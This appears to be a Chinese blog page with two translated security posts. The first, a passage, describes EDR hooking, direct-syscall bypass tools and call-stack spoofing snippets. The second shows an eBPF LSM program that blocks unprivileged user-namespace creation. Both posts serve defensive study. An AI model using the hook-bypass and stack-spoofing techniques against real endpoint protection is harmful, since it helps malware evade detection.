CALLBACK_FUNCTION_GOES_HERE; CALLBACK_FUNCTION_GOES_HERE 是用作回调的函数,然后 ProcessInstrumentationCallback 是: #define ProcessInstrumentationCallback 0x28 另外一点是,通过将回调设置为 NULL,可以删除发送的任何回调。这是由 modexp 在 Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams 中记录的。 随后,Secrary 建立了这个话题,并在 Secrary 的博客 Hooking via InstrumentationCallback 中进行了讨论。Alex Ionescu 的原始代码可以在 HookingNirvana 存储库中找到。 从 Secrary 借用钩子可访问函数和返回值,给我们以下汇编: .code PUBLIC asmCallback EXTERN Hook:PROC asmCallback PROC push rax ; return value push rcx push RBX push RBP push RDI push RSI push RSP push R12 push R13 push R14 push R15 ; without this it crashes :) sub rsp, 1000h mov rdx, rax mov rcx, r10 call Hook add rsp, 1000h pop R15 pop R14 pop R13 pop R12 pop RSP pop RSI pop RDI pop RBP pop RBX pop rcx pop rax jmp R10 asmCallback ENDP end Hook: 完成汇编代码后,我们还需要编写被汇编调用的函数,以便能够接收所有提供的寄存器并返回它们的功能名称: DWORD64 counter = 0; bool flag = false; EXTERN_C VOID Hook(DWORD64 R10, DWORD64 RAX/* ... */) { // This flag is there for prevent recursion if (!flag) { flag = true; counter++; CHAR buffer[sizeof(SYMBOL_INFO) + MAX_SYM_NAME] = { 0 }; PSYMBOL_INFO pSymbol = (PSYMBOL_INFO)buffer; pSymbol->SizeOfStruct = sizeof(SYMBOL_INFO); pSymbol->MaxNameLen = MAX_SYM_NAME; DWORD64 Displacement; // MSDN: Retrieves symbol information for the specified address. BOOLEAN result = SymFromAddr(GetCurrentProcess(), R10, &Displacement, pSymbol); if (result) { printf("%s => 0x%llx\n", pSymbol->Name, RAX); } flag = false; } } 然后,在 main 函数中,调用 SymInitialize 函数,然后设置插桩: int main() { SymSetOptions(SYMOPT_UNDNAME); SymInitialize(GetCurrentProcess(), NULL, TRUE); SetInstrumentationCallback(); return 0; } 运行此完成的示例,我们现在可以看到所有函数名称和返回代码: 该钩子可以更新以获取访问完整分析所需的参数,但是对于这个最初的概念验证,我们没有感觉有必要研究它。 最后提一下这种技术可用于枚举给定函数调用的系统服务号(SSN)。Paranoid Ninja 在EtwTi-Syscall-Hook 和 Release v0.8 - Warfare Tactics 中记录了这一点,在那里钩子更小(代价是做得少得多): VOID HuntSyscall(ULONG_PTR ReturnAddress, ULONG_PTR retSyscallPtr) { PVOID ImageBase = ((EtwPPEB)(((_EtwPTEB)(NtCurrentTeb()->ProcessEnvironmentBlock))))->ImageBaseAddress; PIMAGE_NT_HEADERS NtHeaders = RtlImageNtHeader(ImageBase); if (ReturnAddress >= (ULONG_PTR)ImageBase && ReturnAddress < (ULONG_PTR)ImageBase + NtHeaders->OptionalHeader.SizeOfImage) { printf("[+] Syscall detected: Return address: 0x%X Syscall value: 0x%X\n", ReturnAddress, retSyscallPtr); } } 它的配对反汇编: section .text extern HuntSyscall global hookedCallback hookedCallback: push rcx push rdx mov rdx, [r10-0x10] call HuntSyscall pop rdx pop rcx ret 绕过用户空间钩子 在2019年,Cneelis 发布了 Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR ,随后发布了 SysWhispers: SysWhispers 为红队提供了生成核心内核映像 (ntoskrnl.exe) 中任何系统调用的头文件 / ASM 对的能力。这些头文件还将包括必要的类型定义。 然后,modexp 提供了一个 更新版本,修正了第一版中的缺陷,并给我们带来了 SysWhispers2: SysWhispers2 中特定的实现是 @modexpblog 代码的变体之一。其中一个区别是每次生成时函数名称哈希都会被随机化。@ElephantSe4l曾经早期发表过这种技术,他有另外一个基于 C++17 的实现,也值得一看。 主要变化是引入了 base.c,这是 Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams 的结果。 而且,KlezVirus 还制作了 SysWhispers3: 使用方法与 SysWhispers2 非常相似,以下是一些例外: 它还支持 x86 / WoW64 它支持使用 EGG(要动态替换)替换 syscalls 指令 它支持在 x86 / x64 模式下直接跳转到 syscalls(在 WOW64 中几乎是标准的) 它支持随机系统调用的直接跳转(借鉴 @ElephantSeal's idea 更好地解释这些功能可以在博客文章中找到: SysWhispers is dead, long live SysWhispers! 这只是 SysCall 技术套件之一,还有一个基于 Heavens Gate 的完整技术。请参见 Gatekeeping Syscalls 以了解这些不同的技术。 即使如此!还有更多: FreshyCalls EtwTi-Syscall-Hook FireWalker 回顾一下! 通过能够转换为内核模式,我们可以避开用户空间钩子。因此,让我们构建一些东西。 对于我们的示例,我们将使用MinHook: Windows 的极简 x86 / x64 API Hooking 库 DLL 这将是一个被加载到进程中并钩取功能以根据其行为做出某些决策的 DLL。这里是 DllMain: BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) { switch (reason) { case DLL_PROCESS_ATTACH: { HANDLE hThread = CreateThread(nullptr, 0, SetupHooks, nullptr, 0, nullptr); if (hThread != nullptr) { CloseHandle(hThread); } break; } case DLL_PROCESS_DETACH: break; } return TRUE; } 当DLL_PROCESS_ATTACH是加载原因时,我们会创建一个新线程并将其指向我们的“主”函数。这是我们初始化minhook和设置一些钩子的地方: DWORD WINAPI SetupHooks(LPVOID param) { MH_STATUS status; if (MH_Initialize() != MH_OK) { return -1; } status = MH_CreateHookApi( L"ntdll", "NtAllocateVirtualMemory", NtAllocateVirtualMemory_Hook, reinterpret_cast<LPVOID*>(&pNtAllocateVirtualMemory_Original) ); status = MH_CreateHookApi( L"ntdll", "NtProtectVirtualMemory", NtProtectVirtualMemory_Hook, reinterpret_cast<LPVOID*>(&pNtProtectVirtualMemory_Original) ); status = MH_CreateHookApi( L"ntdll", "NtWriteVirtualMemory", NtWriteVirtualMemory_Hook, reinterpret_cast<LPVOID*>(&pNtWriteVirtualMemory_Original) ); status = MH_EnableHook(MH_ALL_HOOKS); return status; } MH_Initialize()是必须调用的,因此我们从这里开始。接下来,我们创建3个钩子: NtAllocateVirtualMemory NtProtectVirtualMemory NtWriteVirtualMemory 钩子是使用MH_CreateHookApi()调用创建的: MH_STATUS WINAPI MH_CreateHookApi(LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal); 要创建一个钩子,需要4个东西: 模块名称 函数名称 要“替换”所需函数的函数 某处存储原始函数地址 以下是示例: MH_STATUS status = MH_CreateHookApi( L"ntdll", "NtAllocateVirtualMemory", NtAllocateVirtualMemory_Hook, reinterpret_cast<LPVOID*>(&pNtAllocateVirtualMemory_Original) ); NtAllocateVirtualMemory_Hook() 是用于替换原始函数的函数: NTSTATUS NTAPI NtAllocateVirtualMemory_Hook(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect) { if (Protect == PAGE_EXECUTE_READWRITE) { printf("[INTERCEPTOR]: RWX Allocation Detected in %ld (0x%p)\n", GetProcessId(ProcessHandle), ProcessHandle); if (BLOCKING) { return 5; } else { return pNtAllocateVirtualMemory_Original(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect); } } else { return pNtAllocateVirtualMemory_Original(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect); } } 该函数的声明与typedef完全相同: typedef NTSTATUS(NTAPI* _NtAllocateVirtualMemory)(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect); 这样做是为了避免钩子之间的输入问题。 在NtAllocateVirtualMemory_Hook函数中,我们唯一检查的是保护类型是否为PAGE_EXECUTE_READWRITE、RWX,因为这通常是恶意活动的迹象(通常)。如果匹配,则只需打印我们发现了什么。 然后,我们有一个阻止概念。这意味着如果“BLOCKING”为真,则返回。如果它为假,则返回指向原始函数的指针,允许函数按用户期望执行。 在NtProtectVirtualMemory中,我们只检查对于更改到 PAGE_EXECUTE_READ, 因为这是常见的保护类型以避免 RWX 分配: NTSTATUS NTAPI NtProtectVirtualMemory_Hook(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PULONG NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection) { if (NewAccessProtection == PAGE_EXECUTE_READ) { printf("[INTERCEPTOR]: Detected move to RX in %ld (0x%p)\n", GetProcessId(ProcessHandle), ProcessHandle); if (BLOCKING) { return 5; } else { return pNtProtectVirtualMemory_Original(ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection); } } else { return pNtProtectVirtualMemory_Original(ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection); } In NtWriteVirtualMemory, no additional checks are made: NTSTATUS NTAPI NtWriteVirtualMemory_Hook(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL) { printf("[INTERCEPTOR]: Detected write of %I64u in %ld (0x%p)\n", NumberOfBytesToWrite, GetProcessId(ProcessHandle), ProcessHandle); if (BLOCKING) { return 5; } else { return pNtWriteVirtualMemory_Original(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten); } } 加载器 在这个例子中,我们有一个 PE 文件,它只是在 DLL 上调用 LoadLibraryA,然后运行一个伪装的注入: #include <Windows.h> #include <stdio.h> int main() { HMODULE hModule = LoadLibraryA("Interceptor.dll"); if (hModule == nullptr) { printf("[LOADER] [LOADER] Failed to load: %ld\n", GetLastError()); return -1; } printf("[LOADER] Interceptor.dll: 0x%p\n", hModule); Sleep(3000); CHAR buf[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; LPVOID pAddress = VirtualAlloc(nullptr, 8, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pAddress == nullptr) { printf("[LOADER] VirtualAlloc: %ld\n", GetLastError()); return -1; } printf("[LOADER] Base: 0x%p\n", pAddress); if (WriteProcessMemory((HANDLE)-1, pAddress, buf, sizeof buf, nullptr) == FALSE) { printf("[LOADER] WriteProcessMemory: %ld\n", GetLastError()); return -1; } printf("[LOADER] Wrote!\n"); if (VirtualProtect(pAddress, sizeof buf, PAGE_EXECUTE_READ, nullptr) == FALSE) { printf("[LOADER] VirtualProtect: %ld\n", GetLastError()); return -1; } printf("[LOADER] Protected!\n"); return 0; } 检测功能 运行此命令可以显示被检测到的调用(以非阻塞模式): 在截图中,我们可以看到: 移动到 RX RWX 分配 写入 8 字节 这就是我们计划检测的所有内容。那么如何绕过呢?由于社区开发了很多工具,实际上相当容易。但在此之前,我们需要讨论用户空间和内核空间。 绕过用户空间钩子 对于本示例,我们将使用Tartarus Gate。我们只需在wmain中进行一次调用即可。: LoadLibraryA("Interceptor.dll"); 然后在 Payload 中更改有效载荷: unsigned char payload[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; 检查已加载的模块: DLL 已被加载。 运行它,并在线程创建时设置断点,因为有效载荷是垃圾: 上面显示了minhook的初始化,然后启用钩子。在此之间,有一个移动到RX。但是,在设置钩子之前发生了这种情况。因此,这很可能是minhook或CRT做某些事情。我们没有花时间去检查这个问题。 钩子和进程仪器结论 正如我们所述,这不是每种潜在技术的全面审查。另一种特别值得探索的技术是向量异常处理(VEH) 。其中两个例子分别为ethicalchaos关于In-Process Patchless AMSI Bypass 的文章和Countercept的 CallStackSpoofer。 与内核回调一样,这是一个活跃的研究领域,在本文中要探索的内容远远超出了我们拥有时间或空间的范围。 线程调用堆栈 进程的另一个组件可以通过线程调用堆栈进行查询。如在WinDbg中查看调用堆栈所述,调用堆栈定义为: 调用堆栈是导致程序计数器当前位置的函数调用链。在调用堆栈上方的函数是当前函数,下一个函数是调用当前函数的函数,以此类推。显示的呼叫堆栈基于当前程序计数器,除非更改寄存器上下文。有关如何更改寄存器上下文的详细信息,请参阅更改上下文。 由于呼叫堆栈可以帮助确定线程意图,因此经常接受审查以确定其有效性。在本节中,我们想演示如何使用呼叫堆栈来确定恶意行为(在一个简单例子中),然后讨论处理这种情况时采取攻击策略。 这里有一个Vulpes植入物: 如果我们查看进程(10792) 的线程,则可以看到一些从难以捉摸的TpReleaseCleanupGroupMembers开始的线程: 这在进程中很常见,以下是chrome.exe的示例: 然后是RuntimeBroker.exe: 这对攻击者来说是一个好的侧面说明。如果所讨论的植入物依赖于伪装成其他东西,则需要考虑这一点。例如,如果植入物正在使用像Chrome之类的浏览器,则HTTP应该以相同方式处理,并且应模仿线程的入口点和呼叫堆栈。 回到Vulpes植入物,调用堆栈主要为“TpReleaseCleanupGroupMembers”,这很好。但是,如果我们查看一些线程,则会发现负责WinHTTP 的线程如下图所示: 而以下则是由进程启动的通用线程: 还有几个例子,但让我们专注于第二个例子,因为它是可以在许多进程中找到的一个线程的调用堆栈。让我们看一下如何以编程方式读取线程堆栈,以及伪造的线程基地址可能会引起怀疑。 以下是入口点: int main() { DWORD dwProcessId = 10792; DWORD dwSussThread = 1996; DWORD dwNormalThread = 26084; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); SymInitialize(hProcess, NULL, TRUE); StackWalkThread(hProcess, dwSussThread); SymCleanup(hProcess); } 在上面的代码中,我们有两个线程ID。 1996:欺骗线程 26084:一个相对正常的堆栈。 因此,我们需要编写一个函数来枚举该线程的调用堆栈。我们可以使用以下代码实现: void StackWalkThread(HANDLE hProcess, DWORD dwThreadId) { STACKFRAME64 frame = { 0 }; CONTEXT context = { 0 }; int idx = 0; HANDLE hThread = OpenThread(MAXIMUM_ALLOWED, FALSE, dwThreadId); if (!hThread) return; context.ContextFlags = CONTEXT_FULL; if (GetThreadContext(hThread, &context) == FALSE) return; frame.AddrPC.Offset = context.Rip; frame.AddrPC.Mode = AddrModeFlat; frame.AddrStack.Offset = context.Rsp; frame.AddrStack.Mode = AddrModeFlat; frame.AddrFrame.Offset = context.Rbp; frame.AddrFrame.Mode = AddrModeFlat; printf("# Thread: %ld\n\n", dwThreadId); while (StackWalk64(IMAGE_FILE_MACHINE_AMD64, hProcess, hThread, &frame, &context, NULL, SymFunctionTableAccess64, SymGetModuleBase64, NULL)) { DWORD64 moduleBase = SymGetModuleBase64(hProcess, frame.AddrPC.Offset); DWORD64 offset = 0; char symbolBuff[sizeof(SYMBOL_INFO) + MAX_SYM_NAME * sizeof(TCHAR)] = { 0 }; PSYMBOL_INFO symbol = (PSYMBOL_INFO)symbolBuff; symbol->SizeOfStruct = sizeof(SYMBOL_INFO); symbol->MaxNameLen = MAX_SYM_NAME; if (SymFromAddr(hProcess, frame.AddrPC.Offset, &offset, symbol)) { printf( "\\_ Frame %d\n" " |_ Name: %s\n" " |_ Address: 0x%p\n\n", idx, symbol->Name, symbol->Address ); idx++; } } } 从 DbgHelp 库中,我们使用以下函数: StackWalk64: 获取堆栈跟踪。 SyGetModuleBase64: 检索包含指定地址的模块的基址。 SymFromAddr: 检索指定地址的符号信息。 将代码指向正常线程堆栈: 这与之前看到的相匹配。现在将其更改为指向“坏”线程: 现在显示了一个迄今未见过的不同线程堆栈。查看第3个帧,它是CreateTimeQueueTimer,该技术被描述为睡眠混淆技术: Vulpes: Obfuscating Memory Regions with Timers Maelstrom: Writing a C2 Implant 作为免责声明,此技术完全归功于Peter Winter-Smith。 因此,在程序上,很容易找到线程的调用堆栈。让我们将其扩展成一些非常基本的东西,以便开始使用。 首先,我们将定义一个硬编码的预期函数列表,这些函数早些时候已经看到了,我们可以将其用作完整性检查: std::vector < std::string > expected = { "ZwWaitForWorkViaWorkerFactory", "TpReleaseCleanupGroupMembers", "BaseThreadInitThunk", "RtlUserThreadStart" }; 然后是一个空的列表,用于跟踪我们找到的所有内容: std::vector<std::string> found; 现在,不仅要打印输出结果,还要将所有符号名称添加到向量中: while (StackWalk64(IMAGE_FILE_MACHINE_AMD64, hProcess, hThread, &frame, &context, NULL, SymFunctionTableAccess64, SymGetModuleBase64, NULL)) { DWORD64 moduleBase = SymGetModuleBase64(hProcess, frame.AddrPC.Offset); DWORD64 offset = 0; char symbolBuff[sizeof(SYMBOL_INFO) + MAX_SYM_NAME * sizeof(TCHAR)] = { 0 }; PSYMBOL_INFO symbol = (PSYMBOL_INFO)symbolBuff; symbol->SizeOfStruct = sizeof(SYMBOL_INFO); symbol->MaxNameLen = MAX_SYM_NAME; if (SymFromAddr(hProcess, frame.AddrPC.Offset, &offset, symbol)) { found.push_back(symbol->Name); printf( "\\_ Frame %d\n" " |_ Name: %s\n" " |_ Address: 0x%p\n\n", idx, symbol->Name, symbol->Address ); idx++; } } 一旦代码运行并找到所有符号,让我们看看向量是否匹配: if (std::equal(expected.begin(), expected.end(), found.begin())) { printf("[ CLEAN ]\n"); } else { printf("[ DIRTY ]\n"); } 将其指向_good_线程 我们得到了CLEAN消息。然后是“脏”线程: 显然,这段代码还没有准备好投入生产,编写此类逻辑的细微差别极具挑战性。但是,一些EDR供应商已经开始采用这种技术。鉴于研究如何混淆和使端点保护失效的增加,这是一个对于蓝队和红队都有用的技术。 谈到红队,关于修正此线程错误的研究已经在进行中了。 这项技术最初由Peter Winter-Smith推广,并由mgeeky在ThreadStackSpoofer中重新解释。但是,该概念验证将返回地址设置为0,从而删除了与shellcode注入内存地址相关联的引用。 这是Thread Stack Spoofing 技术的示例实现, 旨在规避检查线程调用堆栈中是否存在shellcode帧引用 的恶意软件分析员、AVs 和 EDRs 。其思想就是隐藏在线程的调用堆栈中对shellcode的引用,从而伪装包含恶意代码的分配。 如果我们从Vulpes中删除睡眠掩码,这是调用堆栈的样子: 该技术旨在通过将返回地址存储到变量中、将返回地址设置为0,然后恢复返回地址来隐藏这些地址。 从上述存储库中获取一个快速的代码示例: void WINAPI MySleep(DWORD _dwMilliseconds) { [...] auto overwrite = (PULONG_PTR)_AddressOfReturnAddress(); const auto origReturnAddress = *overwrite; *overwrite = 0; [...] *overwrite = origReturnAddress; } 在一个更近期的项目中,CallStackSpoofer 由 William Burgess 开发,以进一步掩盖堆栈。 请参见:Spoofing Call Stacks to confused EDRs。 通过使用预定义的堆栈向量,该项目能够模拟以下内容: WMI RPC SVCHost 这是一个WMI 的预定义向量示例: std::vector<StackFrame> wmiCallStack = { StackFrame(L"C:\\Windows\\SYSTEM32\\kernelbase.dll", 0x2c13e, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0xc669, 0, TRUE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0xc71b, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x2fde, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x2b9e, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x2659, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x11b6, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0xc144, 0, FALSE), StackFrame(L"C:\\Windows\\SYSTEM32\\kernel32.dll", 0x17034, 0, FALSE), StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0x52651, 0, FALSE), }; 通过实施这种技术,将极大地增加我们之前展示的调用栈完整性检查的实现难度(尽管我们的演示是硬编码值,但观点仍然成立)。 结论 这是一篇相当长的文章,在其中我们试图提供一些清晰度,以了解EDR可以使用哪些机制来不仅识别恶意活动,而且还可以防止它。 在此过程中,我们讨论了常见陷阱和一些可进行改进以保护免受绕过攻击的方法。同时,在做这件事情时,我们试图更多地揭示“X bypasses EDR”的故事情节,在这个故事中,“信标”可能已经回来了,但很可能有活动日志记录下来。下一集将介绍ETW和AMSI! 2023-03-26 0 0
使用eBPF LSM热修复Linux内核漏洞 译者注 原文链接:Live-patching security vulnerabilities inside the Linux kernel with eBPF Linux Security Module 前段时间,我们讨论了Tetragon产品实时阻断能力的实现原理,那你知道它为什么没选择eBPF LSM吗? 系统内核版本要求是最大限制,eBPF LSM需要5.7以后版本。但对于安全产品,阻断一个函数的调用,远比杀死一个进程影响要小。bpf_send_signal颗粒度是进程,eBPF LSM的颗粒度是函数,更精确。除此之外,控制范围也不一样,可以对函数调用堆栈做调整,达到替换执行的目标函数。业务场景就是内核漏洞的热更新了。 而本文就是一个简单的eBPF LSM实现思路,核心内容是确定精准HOOK点的思路。怎么找HOOK点?HOOK点挂载后,对性能影响是什么?如何做权衡?接下来,我们一起了解一下。 前言 Linux Security Modules(LSM)是一个钩子的基于框架,用于在Linux内核中实现安全策略和强制访问控制。 直到现在,能够实现实施安全策略目标的方式只有两种选择,配置现有的LSM模块(如AppArmor、SELinux),或编写自定义内核模块。 Linux Kernel 5.7引入了第三种方式:LSM扩展伯克利包过滤器(eBPF)(简称BPF LSM)。 LSM BPF允许开发人员编写自定义策略,而无需配置或加载内核模块。 LSM BPF程序在加载时被验证,然后在调用路径中,到达LSM钩子时被执行。 实践出真知 Namespaces 命名空间 现代操作系统提供了允许对内核资源进行partitioning的工具。 例如FreeBSD有jails,Solaris有zones。 Linux是不同的—它提供了一组看似独立的工具,每个进程都允许隔离特定的资源。 他就是Namespaces,经过多年来不停迭代,孕育了Docker、lxc、firejail应用。 大部分Namespaces是没有争议的,如UTS命名空间,它允许主机系统隐藏主机名和时间。其他的则比较复杂但简单明了————众所周知,NET和NS(mount)命名空间很难让人理解。最后,还有一个非常特殊、非常有趣的USER Namespaces。 USER Namespaces很特别,因为它允许所有者作为root操作。其工作原理超出了本文的范围,但是,可以说它是让Docker等工具不作为真正的root操作,或者说是rootless容器。 由于其特性,允许未授权用户访问USER Namespaces总是会带来很大的安全风险。其中最大的风险是提权。 提权原理 提权是操作系统的常见攻击面。 user获得权限的一种方法是通过unshare syscall将其命名空间映射到root空间,并指定CLONE_NEWUSER标志。 这会告诉unshare创建一个具有完全权限的新用户命名空间,并将新用户和Group ID映射到以前的命名空间。 即使用unshare(1)程序将root映射到原始命名空间: $ id uid=1000(fred) gid=1000(fred) groups=1000(fred) … $ unshare -rU # id uid=0(root) gid=0(root) groups=0(root),65534(nogroup) # cat /proc/self/uid_map 0 1000 1 多数情况下,使用unshare是没有风险的,都是以较低的权限运行。 但是,已经被用于提权了,比如CVE-2022-0492,那么本文就重点以这个场景为例。 Syscalls clone和clone3也很值得研究,都有CLONE_NEWUSER的功能。但在这篇文章中,我们将重点关注unshare。 Debian用add sysctl to disallow unprivileged CLONE_NEWUSER by default补丁解决了这个问题,但它没有被合并到源码mainline主线中。另一个类似的补丁"sysctl: allow CLONE_NEWUSER to be disabled"尝试合并到mainline,但被拒绝了。理由是在某些特定应用中无法切换到该特性。 在Controlling access to user namespaces一文中,作者写道: ... 目前的补丁似乎没有一条通往mainline主线的捷径。 如你所示,补丁最终没有包含到vanilla内核中。 我们的解决方案LSM BPF 基于上面一些经验,可以看到限制USER Namespaces的代码似乎行不通,我们决定使用LSM BPF来规避这些问题。并且不需要修改内核,还可以自定义检测防御的规则。 寻找合适的候选钩子 首先,让我们跟踪我们的目标系统调用。 我们可以在include/linux/syscalls.h文件中找到原型。 /* kernel/fork.c */ 很清晰的看到,在kernel/fork.c文件中,注释部分中留下了下一个位置的线索。 在ksys_unshare()那里调用。深入研究该函数,发现了一个对unshare_userns()的调用。这让我看到了希望。 现在,我们已经确定了syscall实现,但是接下来的问题是用哪些钩子?怎么选择合适的钩子? 从man-pages中了解到unshare用于改变task,那么,我们重点关注include/linux/lsm_hooks.h中的关于task的钩子。 在函数unshare_userns()中,可以找到对prepare_creds()的调用。对于cred_prepare的HOOK来说看上去不看。 为了验证对prepare_creds()的理解是否正确,接下来继续分析security_prepare_creds()的调用,可以确认,其最终会调用这个HOOK: … rc = call_int_hook(cred_prepare, 0, new, old, gfp); … 暂不过多讨论这个问题,现在能确认的是这个HOOK比较合适,因为prepare_creds()正好在unshare_userns()中的create_user_ns()之前被调用,而unshare_userns()是我们试图阻止的操作。 LSM BPF解决方案 我们将使用eBPF编译一次到处运行(CO-RE)的方法对代码进行编译。 在不同版本内核的IDC中,会特别适用。(不过,国内外大部分五至十年的互联网公司,都有着大量低于5.0的内核版本)。本文的演示,将只对x86_64 CPU架构系统验证。ARM64的LSM BPF仍在开发中。你可以订阅BPF邮件列表来了解最新进展。 此解决方案在Kernel Version >=5.15上进行了测试,配置如下: BPF_EVENTS BPF_JIT BPF_JIT_ALWAYS_ON BPF_LSM BPF_SYSCALL BPF_UNPRIV_DEFAULT_OFF DEBUG_INFO_BTF DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT DYNAMIC_FTRACE FUNCTION_TRACER HAVE_DYNAMIC_FTRACE 如果CONFIG_LSM列表中不包含bpf,则需要你自己重新编译,并开启lsm=bpf选项. 内核空间代码 开始看内核空间代码:deny_unshare.bpf.c: #include <linux/bpf.h> #include <linux/capability.h> #include <linux/errno.h> #include <linux/sched.h> #include <linux/types.h> #include <bpf/bpf_tracing.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_core_read.h> #define X86_64_UNSHARE_SYSCALL 272 #define UNSHARE_SYSCALL X86_64_UNSHARE_SYSCALL CO-RE 接下来,我们以下列方式为CO-RE重新定位建立必要的结构: deny_unshare.bpf.c: … typedef unsigned int gfp_t; struct pt_regs { long unsigned int di; long unsigned int orig_ax; } __attribute__((preserve_access_index)); typedef struct kernel_cap_struct { __u32 cap[_LINUX_CAPABILITY_U32S_3]; } __attribute__((preserve_access_index)) kernel_cap_t; struct cred { kernel_cap_t cap_effective; } __attribute__((preserve_access_index)); struct task_struct { unsigned int flags; const struct cred *cred; } __attribute__((preserve_access_index)); char LICENSE[] SEC("license") = "GPL"; … 我们不需要完全充实 struct 的细节,只需提供程序正常运行所需信息的绝对下限。CO-RE 将执行为内核执行调整所需的任何操作。这样就可以很轻松地编写 LSM BPF 程序! // deny_unshare.bpf.c: SEC("lsm/cred_prepare") int BPF_PROG(handle_cred_prepare, struct cred *new, const struct cred *old, gfp_t gfp, int ret) { struct pt_regs *regs; struct task_struct *task; kernel_cap_t caps; int syscall; unsigned long flags; // If previous hooks already denied, go ahead and deny this one if (ret) { return ret; } task = bpf_get_current_task_btf(); regs = (struct pt_regs *) bpf_task_pt_regs(task); // In x86_64 orig_ax has the syscall interrupt stored here syscall = regs->orig_ax; caps = task->cred->cap_effective; // Only process UNSHARE syscall, ignore all others if (syscall != UNSHARE_SYSCALL) { return 0; } // PT_REGS_PARM1_CORE pulls the first parameter passed into the unshare syscall flags = PT_REGS_PARM1_CORE(regs); // Ignore any unshare that does not have CLONE_NEWUSER if (!(flags & CLONE_NEWUSER)) { return 0; } // Allow tasks with CAP_SYS_ADMIN to unshare (already root) if (caps.cap[CAP_TO_INDEX(CAP_SYS_ADMIN)] & CAP_TO_MASK(CAP_SYS_ADMIN)) { return 0; } return -EPERM; } 第一步是创建程序,第二步是加载程序并附加到我们所需的钩子上。 用户空间 加载程序并将其附加到目标的钩子上是用户空间的功能。有几种方法可以做到这一点: Cilium ebpf项目 Rust bindings ebpf.io项目landscape展示的其他类库 这里,我们将使用原生libbpf。 #include <bpf/libbpf.h> #include <unistd.h> #include "deny_unshare.skel.h" static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) { return vfprintf(stderr, format, args); } int main(int argc, char *argv[]) { struct deny_unshare_bpf *skel; int err; libbpf_set_strict_mode(LIBBPF_STRICT_ALL); libbpf_set_print(libbpf_print_fn); // Loads and verifies the BPF program skel = deny_unshare_bpf__open_and_load(); if (!skel) { fprintf(stderr, "failed to load and verify BPF skeleton\n"); goto cleanup; } // Attaches the loaded BPF program to the LSM hook err = deny_unshare_bpf__attach(skel); if (err) { fprintf(stderr, "failed to attach BPF skeleton\n"); goto cleanup; } printf("LSM loaded! ctrl+c to exit.\n"); // The BPF link is not pinned, therefore exiting will remove program for (;;) { fprintf(stderr, "."); sleep(1); } cleanup: deny_unshare_bpf__destroy(skel); return err; } Makefile 最后,进行编译,这里使用Makefile CLANG ?= clang-13 LLVM_STRIP ?= llvm-strip-13 ARCH := x86 INCLUDES := -I/usr/include -I/usr/include/x86_64-linux-gnu LIBS_DIR := -L/usr/lib/lib64 -L/usr/lib/x86_64-linux-gnu LIBS := -lbpf -lelf .PHONY: all clean run all: deny_unshare.skel.h deny_unshare.bpf.o deny_unshare run: all sudo ./deny_unshare clean: rm -f *.o rm -f deny_unshare.skel.h # # BPF is kernel code. We need to pass -D__KERNEL__ to refer to fields present # in the kernel version of pt_regs struct. uAPI version of pt_regs (from ptrace) # has different field naming. # See: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fd56e0058412fb542db0e9556f425747cf3f8366 # deny_unshare.bpf.o: deny_unshare.bpf.c $(CLANG) -g -O2 -Wall -target bpf -D__KERNEL__ -D__TARGET_ARCH_$(ARCH) $(INCLUDES) -c $< -o $@ $(LLVM_STRIP) -g $@ # Removes debug information deny_unshare.skel.h: deny_unshare.bpf.o sudo bpftool gen skeleton $< > $@ deny_unshare: deny_unshare.c deny_unshare.skel.h $(CC) -g -Wall -c $< -o $@.o $(CC) -g -o $@ $(LIBS_DIR) $@.o $(LIBS) .DELETE_ON_ERROR: 结果 打开一个新终端,运行命令 $ make run … LSM loaded! ctrl+c to exit. 在另一个终端里,可以看到成功的被阻止了。 $ unshare -rU unshare: unshare failed: Cannot allocate memory $ id 